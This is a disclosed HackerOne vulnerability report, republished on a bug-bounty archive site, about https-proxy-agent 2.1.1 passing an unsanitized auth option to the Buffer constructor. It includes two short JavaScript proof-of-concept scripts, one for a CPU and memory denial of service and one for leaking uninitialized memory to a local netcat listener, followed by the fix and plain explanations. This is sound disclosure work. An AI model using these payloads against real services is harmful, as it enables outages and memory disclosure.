Skip to content
DoS Disclosed report Intermediate

`https-proxy-agent` passes unsanitized options to Buffer(arg), resulting in DoS and uninitialized memory leak

The https-proxy-agent module passed the user-controlled auth option directly to the Buffer constructor without sanitisation. An attacker who could control that option could cause a denial of service by forcing a huge allocation, or on older Node.js versions leak uninitialised memory.

chalker Follow

Originally disclosed on HackerOne

High 8.2 View original
  • Triaged in 19 hours
  • Fixed in 6 days
  • Disclosed after 36 days

Summary by the researcher

Unguarded Buffer(arg) in auth option, which can leak data or cause DoS if typed user input (e.g. from JSON) ends up there. Resolved in [email protected] by switching to Buffer.from(arg) (new Buffer API).

The report

I would like to report a Buffer allocation vulnerability in https-proxy-agent.

In setups where auth argument is user-controlled, it allows to:

  1. cause Denial of Service by trivially consuming all the available CPU resources
  2. extract uninitialized memory chunks from the server on Node.js <8.x.

Module

module name: https-proxy-agent version: 2.1.1 npm page: https://www.npmjs.com/package/https-proxy-agent

Module Description

This module provides an http.Agent implementation that connects to a specified HTTP or HTTPS proxy server, and can be used with the built-in https module.

Module Stats

114 304 downloads in the last day 1 668 955 downloads in the last week 6 758 891 downloads in the last month

~81 106 692 estimated downloads per year

Vulnerability

Vulnerability Description

https-proxy-agent passes auth option to the Buffer constructor without proper sanitization, resulting in DoS and uninitialized memory leak in setups where an attacker could submit typed input to the 'auth' parameter (e.g. JSON).

The exact line: https://github.com/TooTallNate/node-https-proxy-agent/blob/2.1.1/index.js#L207

Steps To Reproduce:

DoS

JavaScript
var url = require('url');
var https = require('https');
var HttpsProxyAgent = require('https-proxy-agent');

var proxy = {
  protocol: 'http:',
  host: "127.0.0.1",
  port: 8080
};

setInterval(() => {
  proxy.auth = 1e9; // a number as 'auth'
  var opts = url.parse('https://example.com/');
  var agent = new HttpsProxyAgent(proxy);
  opts.agent = agent;
  console.time('tick');
  https.get(opts);
  console.timeEnd('tick');
}, 200);

Observe how this is consuming memory and CPU — each request takes >1 second in the main thread on my setup.

Uninitialized memory leak

JavaScript
// listen with: nc -l -p 8080

var url = require('url');
var https = require('https');
var HttpsProxyAgent = require('https-proxy-agent');

var proxy = {
  protocol: 'http:',
  host: "127.0.0.1",
  port: 8080
};

proxy.auth = 500; // a number as 'auth'
var opts = url.parse('https://example.com/');
var agent = new HttpsProxyAgent(proxy);
opts.agent = agent;
https.get(opts);

Listen with nl -l -p 8080 to see requests.

Execute on various Node.js versions — 4.x LTS, 6.x LTS, 8.x LTS / 9.x.

This leaks uninitialized Buffer memory on Node.js <8.x. On ≥8.x those Buffers (that are using the deprecated API) are zero-filled.

Supporting Material/References:

  • OS: Arch Linux current
  • Node.js 9.5.0
  • npm 5.6.0
  • gnu-netcat 0.7.1

Wrap up

  • I contacted the maintainer to let him know: N
  • I opened an issue in the related repository: N

Impact

Denial of service Sensitive data leak (on Node.js <8.0)

The original report as published on HackerOne, by chalker. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The code called the Buffer constructor with an unsanitised value, so a number was treated as a size for a new buffer instead of being converted to a string.

Impact

An attacker could cause a denial of service by consuming CPU and memory, and on Node.js versions before 8.x could leak uninitialised memory; on 8.x and later the buffers are zero-filled so the leak does not occur.

What the attacker needed

Attacker controls the auth option; Node.js version below 8.x for the memory leak

The fix

The issue was fixed in version 2.2.0 by using Buffer.from instead of the Buffer constructor.

How it was found

  1. Set the proxy auth option to a very large number.
  2. Create a new HttpsProxyAgent with that proxy configuration.
  3. Make an HTTPS request using the agent and observe high CPU and memory use.
  4. For the leak, set auth to a number and listen on the proxy port to see the request.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The library took a value from the user and used it to create a block of memory without checking it. If the value is a huge number, the program spends a long time and lots of CPU making that block, which can slow or crash the server. On old versions of Node.js the block was not cleared first, so leftover data from other parts of memory could be sent out.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by chalker

View all

36 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.